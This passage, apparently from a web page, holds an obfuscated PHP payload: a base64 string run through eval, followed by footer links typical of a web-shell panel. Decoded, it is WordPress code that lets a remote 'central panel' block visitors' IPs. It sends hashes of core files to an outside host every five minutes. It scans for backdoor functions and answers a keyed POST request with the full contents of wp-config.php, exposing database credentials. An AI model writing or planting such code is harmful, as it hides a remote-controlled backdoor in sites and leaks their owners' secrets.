wX2FkZHJlc3MnXSkgewogICAgICAgICAgICAgICAgaWYgKCRiWyd0eXBlJ10gPT0gJ2JsYWNrbGlzdCcpIHsKICAgICAgICAgICAgICAgICAgICBzdGF0dXNfaGVhZGVyKDQwMyk7CiAgICAgICAgICAgICAgICAgICAgZXhpdCgnWW91ciBJUCBpcyBibG9ja2VkIGJ5IGNlbnRyYWwgcGFuZWwuJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyB3aGl0ZWxpc3QgaXNlIGl6aW4gdmVyLCBiYcWfa2EgacWfbGVtIHlhcG1hCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9KTsKCiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7CiAgICAgICAgLy8gKioqIEF5YXJsYW5hYmlsaXJsZXIgKioqCiAgICAgICAgJGVuZHBvaW50ID0gJ2h0dHBzOi8vZWx5c2lhbmxpbmsuY2MvcGFuZWwvYXBpL3JlY2VpdmVfaGFzaGVzLnBocCc7IC8vIFBhbmVsZGVraSBBUEkgZG9zeWFzxLEKICAgICAgICAkaW50ZXJ2YWwgPSA1ICogNjA7CgogICAgICAgIC8vICoqKiDEsHpsZW5lY2VrIGRvc3lhbGFyICoqKgogICAgICAgICRmaWxlcyA9IFsKICAgICAgICAgICAgJ3dwLWNvbmZpZy5waHAnLAogICAgICAgICAgICAnd3AtbG9naW4ucGhwJywKICAgICAgICAgICAgJ3dwLWNvbnRlbnQvdGhlbWVzLycgLiBnZXRfdGVtcGxhdGUoKSAuICcvZnVuY3Rpb25zLnBocCcsCiAgICAgICAgICAgICcuaHRhY2Nlc3MnCiAgICAgICAgXTsKICAgICAgICAkaGFzaGVzID0gW107CiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICRwYXRoID0gQUJTUEFUSCAuICRmOwogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAkaGFzaGVzWyRmXSA9IGhhc2hfZmlsZSgnc2hhMjU2JywgJHBhdGgpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGhhc2hlc1skZl0gPSBudWxsOyAvLyBEb3N5YSB5b2tzYSBudWxsIGLEsXJha8SxeW9ydXoKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gKioqIFBheWxvYWQgaGF6xLFybGFtYSAqKioKICAgICAgICAkcGF5bG9hZCA9IFsKICAgICAgICAgICAgJ2RvbWFpbicgPT4gcGFyc2VfdXJsKGdldF9zaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpLAogICAgICAgICAgICAnZmlsZXMnICA9PiAkaGFzaGVzCiAgICAgICAgXTsKCiAgICAgICAgLy8gKioqIFphbWFuIGtvbnRyb2zDvCAqKioKICAgICAgICAkbGFzdF9zZW50ID0gZ2V0X29wdGlvbignZWx5c2lhbl9sYXN0X2hhc2hfc2VudCcsIDApOwogICAgICAgIGlmICh0aW1lKCkgLSAkbGFzdF9zZW50ID4gJGludGVydmFsKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9wb3N0KCRlbmRwb2ludCwgWwogICAgICAgICAgICAgICAgJ2JvZHknICAgID0+IGpzb25fZW5jb2RlKCRwYXlsb2FkKSwKICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBbJ0NvbnRlbnQtVHlwZScgPT4gJ2FwcGxpY2F0aW9uL2pzb24nXSwKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxMAogICAgICAgICAgICBdKTsKICAgICAgICAgICAgdXBkYXRlX29wdGlvbignZWx5c2lhbl9sYXN0X2hhc2hfc2VudCcsIHRpbWUoKSk7CiAgICAgICAgfQogICAgfSk7CgogICAgZnVuY3Rpb24gZWx5c2lhbl9zY2FuX2JhY2tkb29ycygkYmFzZV9kaXJzKSB7CiAgICAgICAgJGRhbmdlcm91c19leHQgPSBbJ3BocCcsJ3BoYXInLCdpbmMnLCdwaHRtbCddOwogICAgICAgICRkYW5nZXJvdXNfZnVuY3MgPSBbCiAgICAgICAgICAgICdldmFsJywgJ2Jhc2U2NF9kZWNvZGUnLCAnZ3ppbmZsYXRlJywgJ2d6dW5jb21wcmVzcycsCiAgICAgICAgICAgICdzaGVsbF9leGVjJywgJ3N5c3RlbScsICdleGVjJywgJ3Bhc3N0aHJ1JywgJ2Fzc2VydCcsICdwb3BlbicsCiAgICAgICAgICAgICdwcm9jX29wZW4nLCAnY3VybF9leGVjJywgJ2N1cmxfbXVsdGlfZXhlYycsICdwYXJzZV9zdHInLCAncGhwaW5mbycKICAgICAgICBdOwogICAgICAgICRhbGVydHMgPSBbXTsKCiAgICAgICAgZm9yZWFjaCAoJGJhc2VfZGlycyBhcyAkcm9vdCkgewogICAgICAgICAgICAkcmlpID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRyb290LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCRleHQsICRkYW5nZXJvdXNfZXh0KSkgY29udGludWU7CiAgICAgICAgICAgICAgICAvLyBZYWxuxLF6Y2Ega8O8w6fDvGsgZG9zeWFsYXJhIGJhayAow7ZybjogPCAyNTZLQikKICAgICAgICAgICAgICAgIGlmIChmaWxlc2l6ZSgkZmlsZSkgPiAyNTYgKiAxMDI0KSBjb250aW51ZTsKCiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGZpbGUsICdyYicpOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmcmVhZCgkaGFuZGxlLCAyMDQ4KTsgLy8gU2FkZWNlIGlsayAyS0Igb2t1CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlcm91c19mdW5jcyBhcyAkZGFuZ2VyKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJGNvbnRlbnQsICRkYW5nZXIpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWxlcnRzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRmaWxlKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdmdW5jJyA9PiAkZGFuZ2VyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IGZpbGVzaXplKCRmaWxlKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdtdGltZSc9PiBmaWxlbXRpbWUoJGZpbGUpCiAgICAgICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFsZXJ0czsKICAgIH0KCiAgICBpZiAoCiAgICAgICAgaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXSA9PT0gJ2dldF9jb25maWcnCiAgICAgICAgJiYgaXNzZXQoJF9QT1NUWydhcGlfa2V5J10pICYmICRfUE9TVFsnYXBpX2tleSddID09PSAkdXBsb2FkX2FwaV9rZXkKICAgICkgewogICAgICAgICRmaWxlID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJz0+J3N1Y2Nlc3MnLCdjb250ZW50Jz0+JGNvbnRlbnRdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJz0+J2Vycm9yJywnbWVzc2FnZSc9Pid3cC1jb25maWcucGhwIHlvayEnXSk7CiAgICAgICAgfQogICAgICAgIGV4aXQ7CiAgICB9Cgp9"; eval(base64_decode($kod));
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.03 |
proxy
|
phpinfo
|
Settings